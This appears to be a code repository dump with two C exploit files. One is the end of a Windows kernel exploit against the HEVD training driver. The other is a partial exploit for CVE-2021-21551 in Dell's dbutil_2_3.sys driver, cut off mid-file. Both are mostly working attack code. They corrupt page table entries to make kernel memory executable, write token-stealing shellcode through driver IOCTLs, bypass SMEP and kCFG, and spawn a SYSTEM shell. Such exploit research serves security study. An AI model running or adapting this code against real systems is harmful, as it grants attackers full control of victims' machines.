108 | PULONGLONG shellcode5Pointer = &shellcode5;
109 | PULONGLONG shellcode6Pointer = &shellcode6;
110 | PULONGLONG shellcode7Pointer = &shellcode7;
111 | PULONGLONG shellcode8Pointer = &shellcode8;
112 | PULONGLONG shellcode9Pointer = &shellcode9;
113 |
114 | // Return value of kernelbase() for HEVD.sys
115 | unsigned long long hevdBase = kernelBase("HEVD.sys");
116 |
117 | // Return value of kernelBase for ntoskrnl.exe
118 | unsigned long long baseAddress = kernelBase("ntoskrnl.exe");
119 |
120 | // Print update for driver and kernel base
121 | printf("[+] HEVD.sys base address is located at: 0x%llx\n", hevdBase);
122 | printf("[+] ntoskrnl.exe base address is located at: 0x%llx\n", baseAddress);
123 |
124 | // Defining nt!MiGetPteAddress+0x13 and print update for location of nt!MiGetPteAddress
125 | unsigned long long ntmigetpteAddress = baseAddress+0x812bb;
126 | printf("[+] nt!MiGetPteAddress+0x13 is located at: 0x%llx\n", ntmigetpteAddress);
127 |
128 | // Defining pointer to write base of PTEs to (must initialize pointer, hence placeholder)
129 | unsigned long long placeholder = 0;
130 | PULONGLONG baseofPtes = &placeholder;
131 |
132 | // Defining buffer to send to driver
133 | char buf [0x10];
134 | size_t oneQword = 0x8;
135 |
136 | // Initializing buffer to junk to satisfy type error of memset
137 | memset(buf, 0x41, 0x10);
138 |
139 | // Actual buffer for extracting the PTE base
140 | memcpy(buf, &ntmigetpteAddress, oneQword);
141 | memcpy(&buf[0x8], &baseofPtes, oneQword);
142 |
143 | // Obtaining handle to the driver
144 | printf("[+] Obtaining handle to the driver via CreateFileA()...\n");
145 | HANDLE drvHandle = CreateFileA(
146 | "\\\\.\\HackSysExtremeVulnerableDriver",
147 | 0xC0000000,
148 | 0x0,
149 | NULL,
150 | 0x3,
151 | 0x0,
152 | NULL
153 | );
154 |
155 | // Error handling
156 | if (!drvHandle)
157 | {
158 | printf("[-] Error! Unable to obtain a handle to the driver. Error: %d\n", GetLastError());
159 | exit(1);
160 | }
161 |
162 | // Print update for HANDLE
163 | printf("[+] Handle to the driver: %d\n", drvHandle);
164 |
165 | // Sending buffer to the driver
166 |
167 | // Defining lpBytesReturned parameter
168 | DWORD lpBytesReturned;
169 | DeviceIoControl(
170 | drvHandle,
171 | IOCTL_CODE,
172 | buf,
173 | sizeof(buf),
174 | NULL,
175 | 0,
176 | &lpBytesReturned,
177 | NULL
178 | );
179 |
180 | // Print update for extracting base of the PTEs
181 | printf("[+] Extracting the base of the PTEs...\n");
182 |
183 | // Defining variable to place base of PTEs
184 | unsigned long long pteBase = (unsigned long long)*baseofPtes;
185 |
186 | // Print update for base of the PTEs
187 | printf("[+] Base of the page table entries: 0x%llx\n", pteBase);
188 |
189 | // Bitwise operations to locate PTE of shellcode page
190 | unsigned long long kusershareddataPte = (unsigned long long)KUSER_SHARED_DATA >> 9;
191 | kusershareddataPte = kusershareddataPte & 0x7FFFFFFFF8;
192 | kusershareddataPte = kusershareddataPte + pteBase;
193 |
194 | // Print update for shellcode's PTE page
195 | printf("[+] KUSER_SHARED_DATA+0x800 PTE is located at: 0x%llx\n", kusershareddataPte);
196 |
197 | // Defining pointer to extract shellcode's PTE control bits (must initialize pointer, hence placeholder)
198 | placeholder = 0;
199 | PULONGLONG ptecontrolbitsPointer = &placeholder;
200 |
201 | // Defining buffer to send to driver
202 | char buf1 [0x10];
203 |
204 | // Initializing buffer to junk to satisfy type error of memset
205 | memset(buf1, 0x41, 0x10);
206 |
207 | // Actual buffer for extracting PTE control bits
208 | memcpy(buf1, &kusershareddataPte, oneQword);
209 | memcpy(&buf1[0x8], &ptecontrolbitsPointer, oneQword);
210 |
211 | // Sending buffer to the driver
212 | DeviceIoControl(
213 | drvHandle,
214 | IOCTL_CODE,
215 | buf1,
216 | sizeof(buf1),
217 | NULL,
218 | 0,
219 | &lpBytesReturned,
220 | NULL
221 | );
222 |
223 | unsigned long long ptecontrolBits = (unsigned long long)*ptecontrolbitsPointer;
224 |
225 | // Print update for PTE control bits
226 | printf("[+] PTE control bits for KUSER_SHARED_DATA+0x800: %p\n", ptecontrolBits);
227 |
228 | // Corrupting X bit in PTE to make KUSER_SHARED_DATA executable
229 | unsigned long long taintedPte;
230 | taintedPte = ptecontrolBits & 0x0FFFFFFFFFFFFFFF;
231 |
232 | // Defining pointer for corrupted PTE bits
233 | PULONGLONG taintedptePointer = &taintedPte;
234 |
235 | // Defining buffer to send to driver
236 | char buf2[0x10];
237 |
238 | // Initializing buffer to junk to satisfy type error of memset
239 | memset(buf2, 0x41, 0x10);
240 |
241 | // Actual buffer for corrupting PTE
242 | memcpy(buf2, &taintedptePointer, oneQword);
243 | memcpy(&buf2[0x8], &kusershareddataPte, oneQword);
244 |
245 | // Print update for corrupting PTE
246 | printf("[+] Corrupting PTE of KUSER_SHARED_DATA+0x800 to clear NX bit...\n");
247 |
248 | // Sending buffer to the driver
249 | DeviceIoControl(
250 | drvHandle,
251 | IOCTL_CODE,
252 | buf2,
253 | sizeof(buf2),
254 | NULL,
255 | 0,
256 | &lpBytesReturned,
257 | NULL
258 | );
259 |
260 | // Print update for corrupted PTE
261 | printf("[+] KUSER_SHARED_DATA+0x800 is now kRWX! Sorry, SMEP and kernel mode NX!\n");
262 |
263 | // Defining buffer to send to driver
264 | char buf3 [0x10];
265 |
266 | // Initializing buffer to junk to satisfy type error of memset
267 | memset(buf3, 0x41, 0x10);
268 |
269 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x800
270 | memcpy(buf3, &shellcode1Pointer, oneQword);
271 | memcpy(&buf3[0x8], &KUSER_SHARED_DATA, oneQword);
272 |
273 | // Print update for KUSER_SHARED_DATA+0x800 overwrite
274 | printf("[+] Overwriting KUSER_SHARED_DATA+0x800 with shellcode...\n");
275 |
276 | // Sending buffer to the driver
277 | DeviceIoControl(
278 | drvHandle,
279 | IOCTL_CODE,
280 | buf3,
281 | sizeof(buf3),
282 | NULL,
283 | 0,
284 | &lpBytesReturned,
285 | NULL
286 | );
287 |
288 | // Defining buffer to send to driver
289 | char buf4 [0x10];
290 |
291 | // Initializing buffer to junk to satisfy type error of memset
292 | memset(buf4, 0x41, 0x10);
293 |
294 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x808
295 | memcpy(buf4, &shellcode2Pointer, oneQword);
296 | memcpy(&buf4[0x8], &KUSER_SHARED_DATA_8, oneQword);
297 |
298 | // Sending buffer to the driver
299 | DeviceIoControl(
300 | drvHandle,
301 | IOCTL_CODE,
302 | buf4,
303 | sizeof(buf4),
304 | NULL,
305 | 0,
306 | &lpBytesReturned,
307 | NULL
308 | );
309 |
310 | // Defining buffer to send to driver
311 | char buf5 [0x10];
312 |
313 | // Initializing buffer to junk to satisfy type error of memset
314 | memset(buf5, 0x41, 0x10);
315 |
316 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x810
317 | memcpy(buf5, &shellcode3Pointer, oneQword);
318 | memcpy(&buf5[0x8], &KUSER_SHARED_DATA_10, oneQword);
319 |
320 | // Sending buffer to the driver
321 | DeviceIoControl(
322 | drvHandle,
323 | IOCTL_CODE,
324 | buf5,
325 | sizeof(buf5),
326 | NULL,
327 | 0,
328 | &lpBytesReturned,
329 | NULL
330 | );
331 |
332 | // Defining buffer to send to driver
333 | char buf6 [0x10];
334 |
335 | // Initializing buffer to junk to satisfy type error of memset
336 | memset(buf6, 0x41, 0x10);
337 |
338 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x818
339 | memcpy(buf6, &shellcode4Pointer, oneQword);
340 | memcpy(&buf6[0x8], &KUSER_SHARED_DATA_18, oneQword);
341 |
342 | // Sending buffer to the driver
343 | DeviceIoControl(
344 | drvHandle,
345 | IOCTL_CODE,
346 | buf6,
347 | sizeof(buf6),
348 | NULL,
349 | 0,
350 | &lpBytesReturned,
351 | NULL
352 | );
353 |
354 | // Defining buffer to send to driver
355 | char buf7 [0x10];
356 |
357 | // Initializing buffer to junk to satisfy type error of memset
358 | memset(buf7, 0x41, 0x10);
359 |
360 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x820
361 | memcpy(buf7, &shellcode5Pointer, oneQword);
362 | memcpy(&buf7[0x8], &KUSER_SHARED_DATA_20, oneQword);
363 |
364 | // Sending buffer to the driver
365 | DeviceIoControl(
366 | drvHandle,
367 | IOCTL_CODE,
368 | buf7,
369 | sizeof(buf7),
370 | NULL,
371 | 0,
372 | &lpBytesReturned,
373 | NULL
374 | );
375 |
376 | // Defining buffer to send to driver
377 | char buf8 [0x10];
378 |
379 | // Initializing buffer to junk to satisfy type error of memset
380 | memset(buf8, 0x41, 0x10);
381 |
382 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x828
383 | memcpy(buf8, &shellcode6Pointer, oneQword);
384 | memcpy(&buf8[0x8], &KUSER_SHARED_DATA_28, oneQword);
385 |
386 | // Sending buffer to the driver
387 | DeviceIoControl(
388 | drvHandle,
389 | IOCTL_CODE,
390 | buf8,
391 | sizeof(buf8),
392 | NULL,
393 | 0,
394 | &lpBytesReturned,
395 | NULL
396 | );
397 |
398 | // Defining buffer to send to driver
399 | char buf9 [0x10];
400 |
401 | // Initializing buffer to junk to satisfy type error of memset
402 | memset(buf9, 0x41, 0x10);
403 |
404 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x830
405 | memcpy(buf9, &shellcode7Pointer, oneQword);
406 | memcpy(&buf9[0x8], &KUSER_SHARED_DATA_30, oneQword);
407 |
408 | // Sending buffer to the driver
409 | DeviceIoControl(
410 | drvHandle,
411 | IOCTL_CODE,
412 | buf9,
413 | sizeof(buf9),
414 | NULL,
415 | 0,
416 | &lpBytesReturned,
417 | NULL
418 | );
419 |
420 | // Defining buffer to send to driver
421 | char buf10 [0x10];
422 |
423 | // Initializing buffer to junk to satisfy type error of memset
424 | memset(buf10, 0x41, 0x10);
425 |
426 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x838
427 | memcpy(buf10, &shellcode8Pointer, oneQword);
428 | memcpy(&buf10[0x8], &KUSER_SHARED_DATA_38, oneQword);
429 |
430 | // Sending buffer to the driver
431 | DeviceIoControl(
432 | drvHandle,
433 | IOCTL_CODE,
434 | buf10,
435 | sizeof(buf10),
436 | NULL,
437 | 0,
438 | &lpBytesReturned,
439 | NULL
440 | );
441 |
442 | // Defining buffer to send to driver
443 | char buf11 [0x10];
444 |
445 | // Initializing buffer to junk to satisfy type error of memset
446 | memset(buf11, 0x41, 0x10);
447 |
448 | // Actual buffer for overwriting KUSER_SHARED_DATA+0x840
449 | memcpy(buf11, &shellcode9Pointer, oneQword);
450 | memcpy(&buf11[0x8], &KUSER_SHARED_DATA_40, oneQword);
451 |
452 | // Sending buffer to the driver
453 | DeviceIoControl(
454 | drvHandle,
455 | IOCTL_CODE,
456 | buf11,
457 | sizeof(buf11),
458 | NULL,
459 | 0,
460 | &lpBytesReturned,
461 | NULL
462 | );
463 |
464 | // IAT entries are not checked by kCFG
465 | // HEVD+0x2010 is an IAT entry that points to nt!ExAllocatePoolWithTag
466 | // Making the IAT entry writeable
467 | unsigned long long hevdIat = hevdBase + 0x2010;
468 | unsigned long long hevdiatPte = hevdIat >> 9;
469 | hevdiatPte = hevdiatPte & 0x7FFFFFFFF8;
470 | hevdiatPte = hevdiatPte + pteBase;
471 |
472 | // Print update for location of IAT entry
473 | printf("[+] IAT entry located at: 0x%llx\n", hevdiatPte);
474 |
475 | // Defining pointer to write PTE to
476 | placeholder = 0;
477 | PULONGLONG iatptePointer = &placeholder;
478 |
479 | // Defining buffer to send to driver
480 | char buf12 [0x12];
481 |
482 | // Initializing buffer to junk to satisfy type error of memset
483 | memset(buf12, 0x41, 0x10);
484 |
485 | // Actual buffer for extracting PTE of IAT entry
486 | memcpy(buf12, &hevdiatPte, oneQword);
487 | memcpy(&buf12[0x8], &iatptePointer, oneQword);
488 |
489 | // Sending buffer to the driver
490 | DeviceIoControl(
491 | drvHandle,
492 | IOCTL_CODE,
493 | buf12,
494 | sizeof(buf12),
495 | NULL,
496 | 0,
497 | &lpBytesReturned,
498 | NULL
499 | );
500 |
501 | // Defining variable to place IAT PTE
502 | unsigned long long iatPte = (unsigned long long)*iatptePointer;
503 |
504 | // Print update for IAT PTE control bits
505 | printf("[+] IAT PTE control bits: 0x%p\n", iatPte);
506 |
507 | // Making IAT writeable/executable
508 | unsigned long long taintediatPte;
509 | taintediatPte = iatPte & 0x0FFFFFFFFFFFFFFF;
510 | taintediatPte = iatPte + 2;
511 |
512 | // Defining pointer for corrupted IAT PTE bits
513 | PULONGLONG taintedpteiatPointer = &taintediatPte;
514 |
515 | // Defining buffer to send to driver
516 | char buf13[0x10];
517 |
518 | // Initializing buffer to junk to satisfy type error of memset
519 | memset(buf13, 0x41, 0x10);
520 |
521 | // Actual buffer for corrupting IAT PTE control bits
522 | memcpy(buf13, &taintedpteiatPointer, oneQword);
523 | memcpy(&buf13[0x8], &hevdiatPte, oneQword);
524 |
525 | // Sending buffer to the driver
526 | DeviceIoControl(
527 | drvHandle,
528 | IOCTL_CODE,
529 | buf13,
530 | sizeof(buf13),
531 | NULL,
532 | 0,
533 | &lpBytesReturned,
534 | NULL
535 | );
536 |
537 | // Print update for corrupting IAT PTE
538 | printf("[+] Corrupted IAT entry! IAT entry pointing to nt!ExAllocatePoolWithTag is now kRWX!\n");
539 |
540 | // Defining pointer for KUSER_SHARED_DATA
541 | PULONGLONG KUSER_SHARED_DATA_POINTER = &KUSER_SHARED_DATA;
542 |
543 | // Defining buffer to send to driver
544 | char buf14[0x10];
545 |
546 | // Initializing buffer to junk to satisfy type error of memset
547 | memset(buf14, 0x41, 0x10);
548 |
549 | // Actual buffer for overwriting IAT entry with KUSER_SHARED_DATA
550 | memcpy(buf14, &KUSER_SHARED_DATA_POINTER, oneQword);
551 | memcpy(&buf14[0x8], &hevdIat, oneQword);
552 |
553 | // Sending buffer to the driver
554 | DeviceIoControl(
555 | drvHandle,
556 | IOCTL_CODE,
557 | buf14,
558 | sizeof(buf14),
559 | NULL,
560 | 0,
561 | &lpBytesReturned,
562 | NULL
563 | );
564 |
565 | // Defining dummy buffer to satisfy DeviceIoControl() for invoking IOCTL that calls corrupted IAT
566 | char dummyBuffer [0x8];
567 | memset(dummyBuffer, 0x90, 0x8);
568 |
569 | // Print update for invoking IOCTL
570 | printf("[+] Invoking IOCTL to trigger corrupted IAT entry! Sorry, kCFG!\n");
571 |
572 | // Invoking IOCTL to call IAT
573 | DeviceIoControl(
574 | drvHandle,
575 | 0x00222013,
576 | dummyBuffer,
577 | sizeof(dummyBuffer),
578 | NULL,
579 | 0,
580 | &lpBytesReturned,
581 | NULL
582 | );
583 |
584 | // Print update for overwriting IAT entry
585 | printf("[+] Successfully overwrote IAT entry with address of KUSER_SHARED_DATA+0x800!\n");
586 |
587 | // Print update for NT AUTHORITY\SYSTEM shell
588 | printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");
589 |
590 | // Spawning an NT AUTHORITY\SYSTEM shell
591 | system("cmd.exe /c cmd.exe /K cd C:\\");
592 | }
593 |
594 | int main()
595 | {
596 | exploitWork();
597 |
598 | return 0;
599 | }
600 |
--------------------------------------------------------------------------------
/CVE-2021-21551/CVE-2021-21551.c:
--------------------------------------------------------------------------------
1 | // CVE-2021-21551: Dell 'dbutil_2_3.sys' Memory Corruption
2 | // Original research: https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/
3 | // Author: Connor McGarr (@33y0re)
4 |
5 | #include
6 | #include
7 | #include
8 |
9 | // Vulnerable IOCTL
10 | #define IOCTL_WRITE_CODE 0x9B0C1EC8
11 | #define IOCTL_READ_CODE 0x9B0C1EC4
12 |
13 | // Prepping call to nt!NtQueryIntervalProfile
14 | typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
15 |
16 | // Obtain the kernel base and driver base
17 | unsigned long long kernelBase(char name[])
18 | {
19 | // Defining EnumDeviceDrivers() and GetDeviceDriverBaseNameA() parameters
20 | LPVOID lpImageBase[1024];
21 | DWORD lpcbNeeded;
22 | int drivers;
23 | char lpFileName[1024];
24 | unsigned long long imageBase;
25 |
26 | BOOL baseofDrivers = EnumDeviceDrivers(
27 | lpImageBase,
28 | sizeof(lpImageBase),
29 | &lpcbNeeded
30 | );
31 |
32 | // Error handling
33 | if (!baseofDrivers)
34 | {
35 | printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError());
36 | exit(1);
37 | }
38 |
39 | // Defining number of drivers for GetDeviceDriverBaseNameA()
40 | drivers = lpcbNeeded / sizeof(lpImageBase[0]);
41 |
42 | // Parsing loaded drivers
43 | for (int i = 0; i < drivers; i++)
44 | {
45 | GetDeviceDriverBaseNameA(
46 | lpImageBase[i],
47 | lpFileName,
48 | sizeof(lpFileName) / sizeof(char)
49 | );
50 |
51 | // Keep looping, until found, to find user supplied driver base address
52 | if (!strcmp(name, lpFileName))
53 | {
54 | imageBase = (unsigned long long)lpImageBase[i];
55 |
56 | // Exit loop
57 | break;
58 | }
59 | }
60 |
61 | return imageBase;
62 | }
63 |
64 |
65 | void exploitWork(void)
66 | {
67 | // Store the base of the kernel
68 | unsigned long long baseofKernel = kernelBase("ntoskrnl.exe");
69 |
70 | // Storing the base of the driver
71 | unsigned long long driverBase = kernelBase("dbutil_2_3.sys");
72 |
73 | // Print updates
74 | printf("[+] Base address of ntoskrnl.exe: 0x%llx\n", baseofKernel);
75 | printf("[+] Base address of dbutil_2_3.sys: 0x%llx\n", driverBase);
76 |
77 | // Store nt!MiGetPteAddress+0x13
78 | unsigned long long ntmigetpteAddress = baseofKernel + 0xbafbb;
79 |
80 | // Obtain a handle to the driver
81 | HANDLE driverHandle = CreateFileA(
82 | "\\\\.\\DBUtil_2_3",
83 | FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
84 | 0x0,
85 | NULL,
86 | OPEN_EXISTING,
87 | 0x0,
88 | NULL
89 | );
90 |
91 | // Error handling
92 | if (driverHandle == INVALID_HANDLE_VALUE)
93 | {
94 | printf("[-] Error! Unable to obtain a handle to the driver. Error: 0x%lx\n", GetLastError());
95 | exit(-1);
96 | }
97 | else
98 | {
99 | printf("[+] Successfully obtained a handle to the driver. Handle value: 0x%llx\n", (unsigned long long)driverHandle);
100 |
101 | // Buffer to send to the driver (read primitive)
102 | unsigned long long inBuf1[4];
103 |
104 | // Values to send
105 | unsigned long long one1 = 0x4141414141414141;
106 | unsigned long long two1 = ntmigetpteAddress;
107 | unsigned long long three1 = 0x0000000000000000;
108 | unsigned long long four1 = 0x0000000000000000;
109 |
110 | // Assign the values
111 | inBuf1[0] = one1;
112 | inBuf1[1] = two1;
113 | inBuf1[2] = three1;
114 | inBuf1[3] = four1;
115 |
116 | // Interact with the driver
117 | DWORD bytesReturned1 = 0;
118 |
119 | BOOL interact = DeviceIoControl(
120 | driverHandle,
121 | IOCTL_READ_CODE,
122 | &inBuf1,
123 | sizeof(inBuf1),
124 | &inBuf1,
125 | sizeof(inBuf1),
126 | &bytesReturned1,
127 | NULL
128 | );
129 |
130 | // Error handling
131 | if (!interact)
132 | {
133 | printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
134 | exit(-1);
135 | }
136 | else
137 | {
138 | // Last member of read array should contain base of the PTEs
139 | unsigned long long pteBase = inBuf1[3];
140 |
141 | printf("[+] Base of the PTEs: 0x%llx\n", pteBase);
142 |
143 | // .data section of dbutil_2_3.sys contains a code cave
144 | unsigned long long shellcodeLocation = driverBase + 0x3010;
145 |
146 | // Bitwise operations to locate PTE of shellcode page
147 | unsigned long long shellcodePte = (unsigned long long)shellcodeLocation >> 9;
148 | shellcodePte = shellcodePte & 0x7FFFFFFFF8;
149 | shellcodePte = shellcodePte + pteBase;
150 |
151 | // Print update
152 | printf("[+] PTE of the .data page the shellcode is located at in dbutil_2_3.sys: 0x%llx\n", shellcodePte);
153 |
154 | // Buffer to send to the driver (read primitive)
155 | unsigned long long inBuf2[4];
156 |
157 | // Values to send
158 | unsigned long long one2 = 0x4141414141414141;
159 | unsigned long long two2 = shellcodePte;
160 | unsigned long long three2 = 0x0000000000000000;
161 | unsigned long long four2 = 0x0000000000000000;
162 |
163 | inBuf2[0] = one2;
164 | inBuf2[1] = two2;
165 | inBuf2[2] = three2;
166 | inBuf2[3] = four2;
167 |
168 | // Parameter for DeviceIoControl
169 | DWORD bytesReturned2 = 0;
170 |
171 | BOOL interact1 = DeviceIoControl(
172 | driverHandle,
173 | IOCTL_READ_CODE,
174 | &inBuf2,
175 | sizeof(inBuf2),
176 | &inBuf2,
177 | sizeof(inBuf2),
178 | &bytesReturned2,
179 | NULL
180 | );
181 |
182 | // Error handling
183 | if (!interact1)
184 | {
185 | printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
186 | exit(-1);
187 | }
188 | else
189 | {
190 | // Last member of read array should contain PTE bits
191 | unsigned long long pteBits = inBuf2[3];
192 |
193 | printf("[+] PTE bits for the shellcode page: %p\n", pteBits);
194 |
195 | /*
196 | ; Windows 10 1903 x64 Token Stealing Payload
197 | ; Author Connor McGarr
198 |
199 | [BITS 64]
200 |
201 | _start:
202 | mov rax, [gs:0x188] ; Current thread (_KTHREAD)
203 | mov rax, [rax + 0xb8] ; Current process (_EPROCESS)
204 | mov rbx, rax ; Copy current process (_EPROCESS) to rbx
205 | __loop:
206 | mov rbx, [rbx + 0x2f0] ; ActiveProcessLinks
207 | sub rbx, 0x2f0 ; Go back to current process (_EPROCESS)
208 | mov rcx, [rbx + 0x2e8] ; UniqueProcessId (PID)
209 | cmp rcx, 4 ; Compare PID to SYSTEM PID
210 | jnz __loop ; Loop until SYSTEM PID is found
211 |
212 | mov rcx, [rbx + 0x360] ; SYSTEM token is @ offset _EPROCESS + 0x360
213 | and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
214 | mov [rax + 0x360], rcx ; Copy SYSTEM token to current process
215 |
216 | xor rax, rax ; set NTSTATUS STATUS_SUCCESS
217 | ret ; Done!
218 |
219 | */
220 |
221 | // One QWORD arbitrary write
222 | // Shellcode is 67 bytes (67/8 = 9 unsigned long longs)
223 | unsigned long long shellcode1 = 0x00018825048B4865;
224 | unsigned long long shellcode2 = 0x000000B8808B4800;
225 | unsigned long long shellcode3 = 0x02F09B8B48C38948;
226 | unsigned long long shellcode4 = 0x0002F0EB81480000;
227 | unsigned long long shellcode5 = 0x000002E88B8B4800;
228 | unsigned long long shellcode6 = 0x8B48E57504F98348;
229 | unsigned long long shellcode7 = 0xF0E180000003608B;
230 | unsigned long long shellcode8 = 0x4800000360888948;
231 | unsigned long long shellcode9 = 0x0000000000C3C031;
232 |
233 | // Buffers to send to the driver (write primitive)
234 | unsigned long long inBuf3[4];
235 | unsigned long long inBuf4[4];
236 | unsigned long long inBuf5[4];
237 | unsigned long long inBuf6[4];
238 | unsigned long long inBuf7[4];
239 | unsigned long long inBuf8[4];
240 | unsigned long long inBuf9[4];
241 | unsigned long long inBuf10[4];
242 | unsigned long long inBuf11[4];
243 |
244 | // Values to send
245 | unsigned long long one3 = 0x4141414141414141;
246 | unsigned long long two3 = shellcodeLocation;
247 | unsigned long long three3 = 0x0000000000000000;
248 | unsigned long long four3 = shellcode1;
249 |
250 | unsigned long long one4 = 0x4141414141414141;
251 | unsigned long long two4 = shellcodeLocation + 0x8;
252 | unsigned long long three4 = 0x0000000000000000;
253 | unsigned long long four4 = shellcode2;
254 |
255 | unsigned long long one5 = 0x4141414141414141;
256 | unsigned long long two5 = shellcodeLocation + 0x10;
257 | unsigned long long three5 = 0x0000000000000000;
258 | unsigned long long four5 = shellcode3;
259 |
260 | unsigned long long one6 = 0x4141414141414141;
261 | unsigned long long two6 = shellcodeLocation + 0x18;
262 | unsigned long long three6 = 0x0000000000000000;
263 | unsigned long long four6 = shellcode4;
264 |
265 | unsigned long long one7 = 0x4141414141414141;
266 | unsigned long long two7 = shellcodeLocation + 0x20;
267 | unsigned long long three7 = 0x0000000000000000;
268 | unsigned long long four7 = shellcode5;
269 |
270 | unsigned long long one8 = 0x4141414141414141;
271 | unsigned long long two8 = shellcodeLocation + 0x28;
272 | unsigned long long three8 = 0x0000000000000000;
273 | unsigned long long four8 = shellcode6;
274 |
275 | unsigned long long one9 = 0x4141414141414141;
276 | unsigned long long two9 = shellcodeLocation + 0x30;
277 | unsigned long long three9 = 0x0000000000000000;
278 | unsigned long long four9 = shellcode7;
279 |
280 | unsigned long long one10 = 0x4141414141414141;
281 | unsigned long long two10 = shellcodeLocation + 0x38;
282 | unsigned long long three10 = 0x0000000000000000;
283 | unsigned long long four10 = shellcode8;
284 |
285 | unsigned long long one11 = 0x4141414141414141;
286 | unsigned long long two11 = shellcodeLocation + 0x40;
287 | unsigned long long three11 = 0x0000000000000000;
288 | unsigned long long four11 = shellcode9;
289 |
290 | inBuf3[0] = one3;
291 | inBuf3[1] = two3;
292 | inBuf3[2] = three3;
293 | inBuf3[3] = four3;
294 |
295 | inBuf4[0] = one4;
296 | inBuf4[1] = two4;
297 | inBuf4[2] = three4;
298 | inBuf4[3] = four4;
299 |
300 | inBuf5[0] = one5;
301 | inBuf5[1] = two5;
302 | inBuf5[2] = three5;
303 | inBuf5[3] = four5;
304 |
305 | inBuf6[0] = one6;
306 | inBuf6[1] = two6;
307 | inBuf6[2] = three6;
308 | inBuf6[3] = four6;
309 |
310 | inBuf7[0] = one7;
311 | inBuf7[1] = two7;
312 | inBuf7[2] = three7;
313 | inBuf7[3] = four7;
314 |
315 | inBuf8[0] = one8;
316 | inBuf8[1] = two8;
317 | inBuf8[2] = three8;
318 | inBuf8[3] = four8;
319 |
320 | inBuf9[0] = one9;
321 | inBuf9[1] = two9;
322 | inBuf9[2] = three9;
323 | inBuf9[3] = four9;
324 |
325 | inBuf10[0] = one10;
326 | inBuf10[1] = two10;
327 | inBuf10[2] = three10;
328 | inBuf10[3] = four10;
329 |
330 | inBuf11[0] = one11;
331 | inBuf11[1] = two11;
332 | inBuf11[2] = three11;
333 | inBuf11[3] = four11;
334 |
335 | DWORD bytesReturned3 = 0;
336 | DWORD bytesReturned4 = 0;
337 | DWORD bytesReturned5 = 0;
338 | DWORD bytesReturned6 = 0;
339 | DWORD bytesReturned7 = 0;
340 | DWORD bytesReturned8 = 0;
341 | DWORD bytesReturned9 = 0;
342 | DWORD bytesReturned10 = 0;
343 | DWORD bytesReturned11 = 0;
344 |
345 | BOOL interact2 = DeviceIoControl(
346 | driverHandle,
347 | IOCTL_WRITE_CODE,
348 | &inBuf3,
349 | sizeof(inBuf3),
350 | &inBuf3,
351 | sizeof(inBuf3),
352 | &bytesReturned3,
353 | NULL
354 | );
355 |
356 | BOOL interact3 = DeviceIoControl(
357 | driverHandle,
358 | IOCTL_WRITE_CODE,
359 | &inBuf4,
360 | sizeof(inBuf4),
361 | &inBuf4,
362 | sizeof(inBuf4),
363 | &bytesReturned4,
364 | NULL
365 | );
366 |
367 | BOOL interact4 = DeviceIoControl(
368 | driverHandle,
369 | IOCTL_WRITE_CODE,
370 | &inBuf5,
371 | sizeof(inBuf5),
372 | &inBuf5,
373 | sizeof(inBuf5),
374 | &bytesReturned5,
375 | NULL
376 | );
377 |
378 | BOOL interact5 = DeviceIoControl(
379 | driverHandle,
380 | IOCTL_WRITE_CODE,
381 | &inBuf6,
382 | sizeof(inBuf6),
383 | &inBuf6,
384 | sizeof(inBuf6),
385 | &bytesReturned6,
386 | NULL
387 | );
388 |
389 | BOOL interact6 = DeviceIoControl(
390 | driverHandle,
391 | IOCTL_WRITE_CODE,
392 | &inBuf7,
393 | sizeof(inBuf7),
394 | &inBuf7,
395 | sizeof(inBuf7),
396 | &bytesReturned7,
397 | NULL
398 | );
399 |
400 | BOOL interact7 = DeviceIoControl(
401 | driverHandle,
402 | IOCTL_WRITE_CODE,
403 | &inBuf8,
404 | sizeof(inBuf8),
405 | &inBuf8,
406 | sizeof(inBuf8),
407 | &bytesReturned8,
408 | NULL
409 | );
410 |
411 | BOOL interact8 = DeviceIoControl(
412 | driverHandle,
413 | IOCTL_WRITE_CODE,
414 | &inBuf9,
415 | sizeof(inBuf9),
416 | &inBuf9,
417 | sizeof(inBuf9),
418 | &bytesReturned9,
419 | NULL
420 | );
421 |
422 | BOOL interact9 = DeviceIoControl(
423 | driverHandle,
424 | IOCTL_WRITE_CODE,
425 | &inBuf10,
426 | sizeof(inBuf10),
427 | &inBuf10,
428 | sizeof(inBuf10),
429 | &bytesReturned10,
430 | NULL
431 | );
432 |
433 | BOOL interact10 = DeviceIoControl(
434 | driverHandle,
435 | IOCTL_WRITE_CODE,
436 | &inBuf11,
437 | sizeof(inBuf11),
438 | &inBuf11,
439 | sizeof(inBuf11),
440 | &bytesReturned11,
441 | NULL
442 | );
443 |
444 | // A lot of error handling
445 | if (!interact2 || !interact3 || !interact4 || !interact5 || !interact6 || !interact7 || !interact8 || !interact9 || !interact10)
446 | {
447 | printf("[-] Error! Unable to interact with the driver. Error: 0x%lx\n", GetLastError());
448 | exit(-1);
449 | }
450 | else
451 | {
452 | printf("[+] Successfully wrote the shellcode to the .data section of dbutil_2_3.sys at address: 0x%llx\n", shellcodeLocation);
453 |
454 | // Clear the no-eXecute bit
455 | unsigned long long taintedPte = pteBits & 0x0FFFFFFFFFFFFFFF;
456 |
457 | printf("[+] Corrupted PTE bits for the shellcode page: %p\n", taintedPte);
458 |
459 | // Clear the no-eXecute bit in the actual PTE
460 | // Buffer to send to the driver (write primitive)
461 | unsigned long long inBuf13[4];
462 |
463 | // Values to send
464 | unsigned long long one13 = 0x4141414141414141;
465 | unsigned long long two13 = shellcodePte;
